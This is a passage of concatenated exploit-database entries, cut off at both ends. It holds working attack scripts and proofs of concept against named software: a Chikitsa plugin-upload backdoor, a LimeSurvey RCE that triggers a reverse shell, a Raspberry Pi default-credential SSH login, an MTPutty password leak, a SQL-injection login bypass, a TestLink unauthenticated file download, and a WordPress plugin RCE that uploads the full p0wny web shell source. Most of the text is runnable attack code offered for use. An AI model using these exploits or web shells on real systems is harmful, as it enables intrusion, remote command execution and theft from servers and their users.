	global tmp_dir
	tmp_dir = os.popen("mktemp -d").read().rstrip()
	open(f"{tmp_dir}/rce.php" , "w").write("<?php system($_REQUEST['cmd']);?>")
	os.popen(f"cd {tmp_dir} && zip rce.zip rce.php").read()

def upload_plugin(session , target):
	print("[+] Uploading the plugin into the server.")
	url = target + "/index.php/module/upload_module/"
	file = open(f"{tmp_dir}/rce.zip" , "rb").read()
	session.post(url , verify=False ,files = {"extension" : ("rce.zip" , file)})
	session.get(target + "/index.php/module/activate_module/rce" , verify=False)
	print(f"[+] Backdoor Deployed at : {target}/application/modules/rce.php")
	print(f"[+] Example Output : {requests.get(target +'/application/modules/rce.php?cmd=id' , verify=False).text}")

def main():
	parser = argparse.ArgumentParser("""
		        __    _ __   _ __            
  _____/ /_  (_) /__(_) /__________ _
 / ___/ __ \/ / //_/ / __/ ___/ __ `/
/ /__/ / / / / ,< / / /_(__  ) /_/ / 
\___/_/ /_/_/_/|_/_/\__/____/\__,_/  
                                     
Chikitsa Patient Management System 2.0.2 Authenticated Plugin Upload Remote Code Execution : 
POC Written By - 0z09e (https://twitter.com/0z09e)\n\n""" , formatter_class=argparse.RawTextHelpFormatter)
	req_args = parser.add_argument_group('required arguments')
	req_args.add_argument("URL" , help="Target URL. Example : http://10.20.30.40/path/to/chikitsa")
	req_args.add_argument("-u" , "--username" , help="Username" , required=True)
	req_args.add_argument("-p" , "--password" , help="password", required=True)
	args = parser.parse_args()

	target = args.URL
	if target[-1] == "/":
		target = target[:-1]
	username = args.username
	password = args.password

	session = requests.session()
	login(session , target , username , password)
	generate_plugin()
	upload_plugin(session , target)

if __name__ == "__main__":
	main()
            
# Exploit Title: LimeSurvey 5.2.4 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: inurl:limesurvey/index.php/admin/authentication/sa/login
# Date: 05/12/2021
# Exploit Author: Y1LD1R1M
# Vendor Homepage: https://www.limesurvey.org/
# Software Link: https://download.limesurvey.org/latest-stable-release/limesurvey5.2.4+211129.zip
# Version: 5.2.x
# Tested on: Kali Linux 2021.3
# Reference: https://github.com/Y1LD1R1M-1337/Limesurvey-RCE

#!/usr/bin/python
# -*- coding: utf-8 -*-


import requests
import sys
import warnings
from bs4 import BeautifulSoup

warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
print("_______________LimeSurvey RCE_______________")
print("")
print("")
print("Usage: python exploit.py URL username password port")
print("Example: python exploit.py http://192.26.26.128 admin password 80")
print("")
print("")
print("== ██╗   ██╗ ██╗██╗     ██████╗  ██╗██████╗  ██╗███╗   ███╗ ==")
print("== ╚██╗ ██╔╝███║██║     ██╔══██╗███║██╔══██╗███║████╗ ████║ ==")
print("==  ╚████╔╝ ╚██║██║     ██║  ██║╚██║██████╔╝╚██║██╔████╔██║ ==")
print("==   ╚██╔╝   ██║██║     ██║  ██║ ██║██╔══██╗ ██║██║╚██╔╝██║ ==")
print("==    ██║    ██║███████╗██████╔╝ ██║██║  ██║ ██║██║ ╚═╝ ██║ ==")
print("==    ╚═╝    ╚═╝╚══════╝╚═════╝  ╚═╝╚═╝  ╚═╝ ╚═╝╚═╝     ╚═╝ ==")
print("")
print("")
url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
port = sys.argv[4]

req = requests.session()
print("[+] Retrieving CSRF token...")
loginPage = req.get(url+"/index.php/admin/authentication/sa/login")
response = loginPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token = s.findAll('input')[0].get("value")
print(CSRF_token)
print("[+] Sending Login Request...")

login_creds = {
          "user": username,
          "password": password,
          "authMethod": "Authdb",
          "loginlang":"default",
          "action":"login",
          "width":"1581",
          "login_submit": "login",
          "YII_CSRF_TOKEN": CSRF_token
}
print("[+]Login Successful")
print("")
print("[+] Upload Plugin Request...")
print("[+] Retrieving CSRF token...")
filehandle = open("/root/limesurvey/plugin/Y1LD1R1M.zip",mode = "rb") # CHANGE THIS
login = req.post(url+"/index.php/admin/authentication/sa/login" ,data=login_creds)
UploadPage = req.get(url+"/index.php/admin/pluginmanager/sa/index")
response = UploadPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token2 = s.findAll('input')[0].get("value")
print(CSRF_token2)
Upload_creds = {
          "YII_CSRF_TOKEN":CSRF_token2,
          "lid":"$lid",
          "action": "templateupload"
}
file_upload= req.post(url+"/index.php/admin/pluginmanager?sa=upload",files = {'the_file':filehandle},data=Upload_creds)
UploadPage = req.get(url+"/index.php/admin/pluginmanager?sa=uploadConfirm")
response = UploadPage.text
print("[+] Plugin Uploaded Successfully")
print("")
print("[+] Install Plugin Request...")
print("[+] Retrieving CSRF token...")

InstallPage = req.get(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin")
response = InstallPage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token3 = s.findAll('input')[0].get("value")
print(CSRF_token3)
Install_creds = {
          "YII_CSRF_TOKEN":CSRF_token3,
          "isUpdate": "false"
}
file_install= req.post(url+"/index.php/admin/pluginmanager?sa=installUploadedPlugin",data=Install_creds)
print("[+] Plugin Installed Successfully")
print("")
print("[+] Activate Plugin Request...")
print("[+] Retrieving CSRF token...")
ActivatePage = req.get(url+"/index.php/admin/pluginmanager?sa=activate")
response = ActivatePage.text
s = BeautifulSoup(response, 'html.parser')
CSRF_token4 = s.findAll('input')[0].get("value")
print(CSRF_token4)
Activate_creds = {
          "YII_CSRF_TOKEN":CSRF_token4,
          "pluginId": "1" # CHANGE THIS
}
file_activate= req.post(url+"/index.php/admin/pluginmanager?sa=activate",data=Activate_creds) 
print("[+] Plugin Activated Successfully")
print("")
print("[+] Reverse Shell Starting, Check Your Connection :)")
shell= req.get(url+"/upload/plugins/Y1LD1R1M/php-rev.php") # CHANGE THIS
            
# Exploit Title: Raspberry Pi 5.10 - Default Credentials
# Date: 08/12/2021
# Exploit Author: netspooky
# Vendor Homepage: https://www.raspberrypi.com/
# Software Link: https://www.raspberrypi.com/software/operating-systems/
# Version: Raspberry Pi OS <= 5.10
# Tested on: Raspberry Pi OS 5.10
# CVE : CVE-2021-38759

# Initial Release: https://twitter.com/netspooky/status/1468603668266209280

# Run: $ python3 exploit.py IP

import paramiko

import sys

h=sys.argv[1]

u="pi"

p="raspberry"

c=paramiko.client.SSHClient()

c.set_missing_host_key_policy(paramiko.AutoAddPolicy())

c.connect(h,username=u,password=p)

i,o,e=c.exec_command("id")

print(o.read())

c.close()
            
# Exploit Title: MTPutty 1.0.1.21 - SSH Password Disclosure
# Exploit Author: Sedat Ozdemir
# Version: 1.0.1.21
# Date: 06/12/2021
# Vendor Homepage: https://ttyplus.com/multi-tabbed-putty/
# Tested on: Windows 10

Proof of Concept
================

Step 1: Open MTPutty and add a new SSH connection.
Step 2: Click double times and connect to the server.
Step 3: Run run “Get-WmiObject Win32_Process | select name, commandline |
findstr putty.exe” on powershell.
Step 4: You can see the hidden password on PowerShell terminal.
            
# Exploit Title: Student Management System 1.0 - SQLi Authentication Bypass
# Date: 2020-07-06
# Exploit Author: Enes Özeser
# Vendor Homepage: https://www.sourcecodester.com/php/14268/student-management-system.html
# Version: 1.0
# Tested on: Windows & WampServer
# CVE: CVE-2020-23935

1- Go to following url. >> http://(HOST)/admin/login.php
2- We can login succesfully with SQL bypass method. 

-- Username = admin'#
-- Password = (Write Something)

NOTE: Default username and password is admin:admin.

(( HTTP Request ))

POST /process.php HTTP/1.1
Host: (HOST)
Connection: keep-alive
Content-Length: 51
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://(HOST)/
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://(HOST)/index.php?q=login
Accept-Encoding: gzip, deflate, br
Accept-Language: tr-TR,tr;q=0.9,en-US;q=0.8,en;q=0.7
Cookie: navigate-tinymce-scroll=%7B%7D; navigate-language=en; PHPSESSID=1asdsd3lf9u2d7e82on6rjl

U_USERNAME=admin'#&U_PASS=123123&sidebarLogin=
            
# Exploit Title: TestLink 1.19 - Arbitrary File Download (Unauthenticated)
# Google Dork: inurl:/testlink/
# Date: 07/12/2021
# Exploit Author: Gonzalo Villegas (Cl34r)
# Exploit Author Homepage: https://nch.ninja
# Vendor Homepage: https://testlink.org/
# Version:1.16 <= 1.19
# CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

You can download files from "/lib/attachments/attachmentdownload.php", passing directly in URL the id of file listed on database, otherwise you can iterate the id parameter (from 1)

Vulnerable URL: "http://HOST/lib/attachments/attachmentdownload.php?id=ITERATE_THIS_ID&skipCheck=1"

for research notes:
https://nch.ninja/blog/unauthorized-file-download-attached-files-testlink-116-119/
            
# Exploit Title: Wordpress Plugin Catch Themes Demo Import 1.6.1 - Remote Code Execution (RCE) (Authenticated)
# Date 07.12.2021
# Exploit Author: Ron Jost (Hacker5preme)
# Vendor Homepage: https://wordpress.org/plugins/catch-themes-demo-import/
# Software Link: https://downloads.wordpress.org/plugin/catch-themes-demo-import.1.6.1.zip
# Version: <= 1.6.1
# Tested on: Ubuntu 18.04
# CVE: CVE-2021-39352
# CWE: CWE-434
# Documentation: https://github.com/Hacker5preme/Exploits/blob/main/Wordpress/CVE-2021-39352/README.md


'''
Description:
The Catch Themes Demo Import WordPress plugin is vulnerable to arbitrary file uploads via the import functionality
found in the ~/inc/CatchThemesDemoImport.php file, in versions up to 1.7,
due to insufficient file type validation. This makes it possible for an attacker with administrative privileges to upload
malicious files that can be used to achieve remote code execution.
'''

# Banner:
banner = """
 ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ ____ 
||C |||V |||E |||- |||2 |||0 |||2 |||1 |||- |||3 |||9 |||3 |||5 |||2 ||
||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__|||__||
|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\|

                        [+] Catch Themes Demo Import RCE (Authenticated) 
                        [@] Developed by Ron Jost (Hacker5preme)
                        
"""
print(banner)


import argparse
import requests
from datetime import datetime

# User-Input:
my_parser = argparse.ArgumentParser(description='Wordpress Plugin Catch Themes Demo Import - RCE (Authenticated)')
my_parser.add_argument('-T', '--IP', type=str)
my_parser.add_argument('-P', '--PORT', type=str)
my_parser.add_argument('-U', '--PATH', type=str)
my_parser.add_argument('-u', '--USERNAME', type=str)
my_parser.add_argument('-p', '--PASSWORD', type=str)
args = my_parser.parse_args()
target_ip = args.IP
target_port = args.PORT
wp_path = args.PATH
username = args.USERNAME
password = args.PASSWORD
print('')
print('[*] Starting Exploit at: ' + str(datetime.now().strftime('%H:%M:%S')))
print('')

# Authentication:
session = requests.Session()
auth_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-login.php'
check = session.get(auth_url)
# Header:
header = {
    'Host': target_ip,
    'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:89.0) Gecko/20100101 Firefox/89.0',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
    'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',
    'Accept-Encoding': 'gzip, deflate',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Origin': 'http://' + target_ip,
    'Connection': 'close',
    'Upgrade-Insecure-Requests': '1'
}

# Body:
body = {
    'log': username,
    'pwd': password,
    'wp-submit': 'Log In',
    'testcookie': '1'
}
auth = session.post(auth_url, headers=header, data=body)

# Get Security nonce value:
check = session.get('http://' + target_ip + ':' + target_port + wp_path+ 'wp-admin/themes.php?page=catch-themes-demo-import').text
nonce = check[check.find('ajax_nonce"') + 13:]
wp_nonce = nonce[:nonce.find('"')]
print(wp_nonce)

# Exploit:
exploit_url = 'http://' + target_ip + ':' + target_port + wp_path + 'wp-admin/admin-ajax.php'

# Header (Exploit):
header = {
    "User-Agent": "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:94.0) Gecko/20100101 Firefox/94.0",
    "Accept": "*/*",
    "Accept-Language": "de,en-US;q=0.7,en;q=0.3",
    "Accept-Encoding": "gzip, deflate",
    'Referer': 'http://' + target_ip + '/wordpress/wp-admin/themes.php?page=catch-themes-demo-import',
    "X-Requested-With": "XMLHttpRequest",
    "Content-Type": "multipart/form-data; boundary=---------------------------121585879226594965303252407916",
    "Origin": "http://" + target_ip,
    "Connection": "close"
}

# Exploit Payload (Using p0wny shell: https://github.com/flozz/p0wny-shell):
shell_payload = "-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"action\"\r\n\r\nctdi_import_demo_data\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"security\"\r\n\r\n" + wp_nonce + "\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"selected\"\r\n\r\nundefined\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"content_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n            }\n\n            #shell-logo {\n                font-weight: bold;\n                color: #FF4180;\n                text-align: center;\n            }\n\n            @media (max-width: 991px) {\n                #shell-logo {\n                    font-size: 6px;\n                    margin: -25px 0;\n                }\n\n                html, body, #shell {\n                    height: 100%;\n                    width: 100%;\n                    max-width: none;\n                }\n\n                #shell {\n                    margin-top: 0;\n                }\n            }\n\n            @media (max-width: 767px) {\n                #shell-input {\n                    flex-direction: column;\n                }\n            }\n\n            @media (max-width: 320px) {\n                #shell-logo {\n                    font-size: 5px;\n                }\n            }\n\n            .shell-prompt {\n                font-weight: bold;\n                color: #75DF0B;\n            }\n\n            .shell-prompt > span {\n                color: #1BC9E7;\n            }\n\n            #shell-input {\n                display: flex;\n                box-shadow: 0 -1px 0 rgba(0, 0, 0, .3);\n                border-top: rgba(255, 255, 255, .05) solid 1px;\n            }\n\n            #shell-input > label {\n                flex-grow: 0;\n                display: block;\n                padding: 0 5px;\n                height: 30px;\n                line-height: 30px;\n            }\n\n            #shell-input #shell-cmd {\n                height: 30px;\n                line-height: 30px;\n                border: none;\n                background: transparent;\n                color: #eee;\n                font-family: monospace;\n                font-size: 10pt;\n                width: 100%;\n                align-self: center;\n            }\n\n            #shell-input div {\n                flex-grow: 1;\n                align-items: stretch;\n            }\n\n            #shell-input input {\n                outline: none;\n            }\n        </style>\n\n        <script>\n            var CWD = null;\n            var commandHistory = [];\n            var historyPosition = 0;\n            var eShellCmdInput = null;\n            var eShellContent = null;\n\n            function _insertCommand(command) {\n                eShellContent.innerHTML += \"\\n\\n\";\n                eShellContent.innerHTML += '<span class=\\\"shell-prompt\\\">' + genPrompt(CWD) + '</span> ';\n                eShellContent.innerHTML += escapeHtml(command);\n                eShellContent.innerHTML += \"\\n\";\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _insertStdout(stdout) {\n                eShellContent.innerHTML += escapeHtml(stdout);\n                eShellContent.scrollTop = eShellContent.scrollHeight;\n            }\n\n            function _defer(callback) {\n                setTimeout(callback, 0);\n            }\n\n            function featureShell(command) {\n\n                _insertCommand(command);\n                if (/^\\s*upload\\s+[^\\s]+\\s*$/.test(command)) {\n                    featureUpload(command.match(/^\\s*upload\\s+([^\\s]+)\\s*$/)[1]);\n                } else if (/^\\s*clear\\s*$/.test(command)) {\n                    // Backend shell TERM environment variable not set. Clear command history from UI but keep in buffer\n                    eShellContent.innerHTML = '';\n                } else {\n                    makeRequest(\"?feature=shell\", {cmd: command, cwd: CWD}, function (response) {\n                        if (response.hasOwnProperty('file')) {\n                            featureDownload(response.name, response.file)\n                        } else {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        }\n                    });\n                }\n            }\n\n            function featureHint() {\n                if (eShellCmdInput.value.trim().length === 0) return;  // field is empty -> nothing to complete\n\n                function _requestCallback(data) {\n                    if (data.files.length <= 1) return;  // no completion\n\n                    if (data.files.length === 2) {\n                        if (type === 'cmd') {\n                            eShellCmdInput.value = data.files[0];\n                        } else {\n                            var currentValue = eShellCmdInput.value;\n                            eShellCmdInput.value = currentValue.replace(/([^\\s]*)$/, data.files[0]);\n                        }\n                    } else {\n                        _insertCommand(eShellCmdInput.value);\n                        _insertStdout(data.files.join(\"\\n\"));\n                    }\n                }\n\n                var currentCmd = eShellCmdInput.value.split(\" \");\n                var type = (currentCmd.length === 1) ? \"cmd\" : \"file\";\n                var fileName = (type === \"cmd\") ? currentCmd[0] : currentCmd[currentCmd.length - 1];\n\n                makeRequest(\n                    \"?feature=hint\",\n                    {\n                        filename: fileName,\n                        cwd: CWD,\n                        type: type\n                    },\n                    _requestCallback\n                );\n\n            }\n\n            function featureDownload(name, file) {\n                var element = document.createElement('a');\n                element.setAttribute('href', 'data:application/octet-stream;base64,' + file);\n                element.setAttribute('download', name);\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.click();\n                document.body.removeChild(element);\n                _insertStdout('Done.');\n            }\n\n            function featureUpload(path) {\n                var element = document.createElement('input');\n                element.setAttribute('type', 'file');\n                element.style.display = 'none';\n                document.body.appendChild(element);\n                element.addEventListener('change', function () {\n                    var promise = getBase64(element.files[0]);\n                    promise.then(function (file) {\n                        makeRequest('?feature=upload', {path: path, file: file, cwd: CWD}, function (response) {\n                            _insertStdout(response.stdout.join(\"\\n\"));\n                            updateCwd(response.cwd);\n                        });\n                    }, function () {\n                        _insertStdout('An unknown client-side error occurred.');\n                    });\n                });\n                element.click();\n                document.body.removeChild(element);\n            }\n\n            function getBase64(file, onLoadCallback) {\n                return new Promise(function(resolve, reject) {\n                    var reader = new FileReader();\n                    reader.onload = function() { resolve(reader.result.match(/base64,(.*)$/)[1]); };\n                    reader.onerror = reject;\n                    reader.readAsDataURL(file);\n                });\n            }\n\n            function genPrompt(cwd) {\n                cwd = cwd || \"~\";\n                var shortCwd = cwd;\n                if (cwd.split(\"/\").length > 3) {\n                    var splittedCwd = cwd.split(\"/\");\n                    shortCwd = \"\xe2\x80\xa6/\" + splittedCwd[splittedCwd.length-2] + \"/\" + splittedCwd[splittedCwd.length-1];\n                }\n                return \"p0wny@shell:<span title=\\\"\" + cwd + \"\\\">\" + shortCwd + \"</span>#\";\n            }\n\n            function updateCwd(cwd) {\n                if (cwd) {\n                    CWD = cwd;\n                    _updatePrompt();\n                    return;\n                }\n                makeRequest(\"?feature=pwd\", {}, function(response) {\n                    CWD = response.cwd;\n                    _updatePrompt();\n                });\n\n            }\n\n            function escapeHtml(string) {\n                return string\n                    .replace(/&/g, \"&\")\n                    .replace(/</g, \"<\")\n                    .replace(/>/g, \">\");\n            }\n\n            function _updatePrompt() {\n                var eShellPrompt = document.getElementById(\"shell-prompt\");\n                eShellPrompt.innerHTML = genPrompt(CWD);\n            }\n\n            function _onShellCmdKeyDown(event) {\n                switch (event.key) {\n                    case \"Enter\":\n                        featureShell(eShellCmdInput.value);\n                        insertToHistory(eShellCmdInput.value);\n                        eShellCmdInput.value = \"\";\n                        break;\n                    case \"ArrowUp\":\n                        if (historyPosition > 0) {\n                            historyPosition--;\n                            eShellCmdInput.blur();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                            _defer(function() {\n                                eShellCmdInput.focus();\n                            });\n                        }\n                        break;\n                    case \"ArrowDown\":\n                        if (historyPosition >= commandHistory.length) {\n                            break;\n                        }\n                        historyPosition++;\n                        if (historyPosition === commandHistory.length) {\n                            eShellCmdInput.value = \"\";\n                        } else {\n                            eShellCmdInput.blur();\n                            eShellCmdInput.focus();\n                            eShellCmdInput.value = commandHistory[historyPosition];\n                        }\n                        break;\n                    case 'Tab':\n                        event.preventDefault();\n                        featureHint();\n                        break;\n                }\n            }\n\n            function insertToHistory(cmd) {\n                commandHistory.push(cmd);\n                historyPosition = commandHistory.length;\n            }\n\n            function makeRequest(url, params, callback) {\n                function getQueryString() {\n                    var a = [];\n                    for (var key in params) {\n                        if (params.hasOwnProperty(key)) {\n                            a.push(encodeURIComponent(key) + \"=\" + encodeURIComponent(params[key]));\n                        }\n                    }\n                    return a.join(\"&\");\n                }\n                var xhr = new XMLHttpRequest();\n                xhr.open(\"POST\", url, true);\n                xhr.setRequestHeader(\"Content-Type\", \"application/x-www-form-urlencoded\");\n                xhr.onreadystatechange = function() {\n                    if (xhr.readyState === 4 && xhr.status === 200) {\n                        try {\n                            var responseJson = JSON.parse(xhr.responseText);\n                            callback(responseJson);\n                        } catch (error) {\n                            alert(\"Error while parsing response: \" + error);\n                        }\n                    }\n                };\n                xhr.send(getQueryString());\n            }\n\n            document.onclick = function(event) {\n                event = event || window.event;\n                var selection = window.getSelection();\n                var target = event.target || event.srcElement;\n\n                if (target.tagName === \"SELECT\") {\n                    return;\n                }\n\n                if (!selection.toString()) {\n                    eShellCmdInput.focus();\n                }\n            };\n\n            window.onload = function() {\n                eShellCmdInput = document.getElementById(\"shell-cmd\");\n                eShellContent = document.getElementById(\"shell-content\");\n                updateCwd();\n                eShellCmdInput.focus();\n            };\n        </script>\n    </head>\n\n    <body>\n        <div id=\"shell\">\n            <pre id=\"shell-content\">\n                <div id=\"shell-logo\">\n        ___                         ____      _          _ _        _  _   <span></span>\n _ __  / _ \\__      ___ __  _   _  / __ \\ ___| |__   ___| | |_ /\\/|| || |_ <span></span>\n| '_ \\| | | \\ \\ /\\ / / '_ \\| | | |/ / _` / __| '_ \\ / _ \\ | (_)/\\/_  ..  _|<span></span>\n| |_) | |_| |\\ V  V /| | | | |_| | | (_| \\__ \\ | | |  __/ | |_   |_      _|<span></span>\n| .__/ \\___/  \\_/\\_/ |_| |_|\\__, |\\ \\__,_|___/_| |_|\\___|_|_(_)    |_||_|  <span></span>\n|_|                         |___/  \\____/                                  <span></span>\n                </div>\n            </pre>\n            <div id=\"shell-input\">\n                <label for=\"shell-cmd\" id=\"shell-prompt\" class=\"shell-prompt\">???</label>\n                <div>\n                    <input id=\"shell-cmd\" name=\"cmd\" onkeydown=\"_onShellCmdKeyDown(event)\"/>\n                </div>\n            </div>\n        </div>\n    </body>\n\n</html>\n\r\n-----------------------------121585879226594965303252407916\r\nContent-Disposition: form-data; name=\"widget_file\"; filename=\"shell.php\"\r\nContent-Type: application/x-php\r\n\r\n<?php\n\nfunction featureShell($cmd, $cwd) {\n    $stdout = array();\n\n    if (preg_match(\"/^\\s*cd\\s*$/\", $cmd)) {\n        // pass\n    } elseif (preg_match(\"/^\\s*cd\\s+(.+)\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*cd\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        chdir($match[1]);\n    } elseif (preg_match(\"/^\\s*download\\s+[^\\s]+\\s*(2>&1)?$/\", $cmd)) {\n        chdir($cwd);\n        preg_match(\"/^\\s*download\\s+([^\\s]+)\\s*(2>&1)?$/\", $cmd, $match);\n        return featureDownload($match[1]);\n    } else {\n        chdir($cwd);\n        exec($cmd, $stdout);\n    }\n\n    return array(\n        \"stdout\" => $stdout,\n        \"cwd\" => getcwd()\n    );\n}\n\nfunction featurePwd() {\n    return array(\"cwd\" => getcwd());\n}\n\nfunction featureHint($fileName, $cwd, $type) {\n    chdir($cwd);\n    if ($type == 'cmd') {\n        $cmd = \"compgen -c $fileName\";\n    } else {\n        $cmd = \"compgen -f $fileName\";\n    }\n    $cmd = \"/bin/bash -c \\\"$cmd\\\"\";\n    $files = explode(\"\\n\", shell_exec($cmd));\n    return array(\n        'files' => $files,\n    );\n}\n\nfunction featureDownload($filePath) {\n    $file = @file_get_contents($filePath);\n    if ($file === FALSE) {\n        return array(\n            'stdout' => array('File not found / no read permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        return array(\n            'name' => basename($filePath),\n            'file' => base64_encode($file)\n        );\n    }\n}\n\nfunction featureUpload($path, $file, $cwd) {\n    chdir($cwd);\n    $f = @fopen($path, 'wb');\n    if ($f === FALSE) {\n        return array(\n            'stdout' => array('Invalid path / no write permission.'),\n            'cwd' => getcwd()\n        );\n    } else {\n        fwrite($f, base64_decode($file));\n        fclose($f);\n        return array(\n            'stdout' => array('Done.'),\n            'cwd' => getcwd()\n        );\n    }\n}\n\nif (isset($_GET[\"feature\"])) {\n\n    $response = NULL;\n\n    switch ($_GET[\"feature\"]) {\n        case \"shell\":\n            $cmd = $_POST['cmd'];\n            if (!preg_match('/2>/', $cmd)) {\n                $cmd .= ' 2>&1';\n            }\n            $response = featureShell($cmd, $_POST[\"cwd\"]);\n            break;\n        case \"pwd\":\n            $response = featurePwd();\n            break;\n        case \"hint\":\n            $response = featureHint($_POST['filename'], $_POST['cwd'], $_POST['type']);\n            break;\n        case 'upload':\n            $response = featureUpload($_POST['path'], $_POST['file'], $_POST['cwd']);\n    }\n\n    header(\"Content-Type: application/json\");\n    echo json_encode($response);\n    die();\n}\n\n?><!DOCTYPE html>\n\n<html>\n\n    <head>\n        <meta charset=\"UTF-8\" />\n        <title>p0wny@shell:~#</title>\n        <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\" />\n        <style>\n            html, body {\n                margin: 0;\n                padding: 0;\n                background: #333;\n                color: #eee;\n                font-family: monospace;\n            }\n\n            *::-webkit-scrollbar-track {\n                border-radius: 8px;\n                background-color: #353535;\n            }\n\n            *::-webkit-scrollbar {\n                width: 8px;\n                height: 8px;\n            }\n\n            *::-webkit-scrollbar-thumb {\n                border-radius: 8px;\n                -webkit-box-shadow: inset 0 0 6px rgba(0,0,0,.3);\n                background-color: #bcbcbc;\n            }\n\n            #shell {\n                background: #222;\n                max-width: 800px;\n                margin: 50px auto 0 auto;\n                box-shadow: 0 0 5px rgba(0, 0, 0, .3);\n                font-size: 10pt;\n                display: flex;\n                flex-direction: column;\n                align-items: stretch;\n            }\n\n            #shell-content {\n                height: 500px;\n                overflow: auto;\n                padding: 5px;\n                white-space: pre-wrap;\n                flex-grow: 1;\n  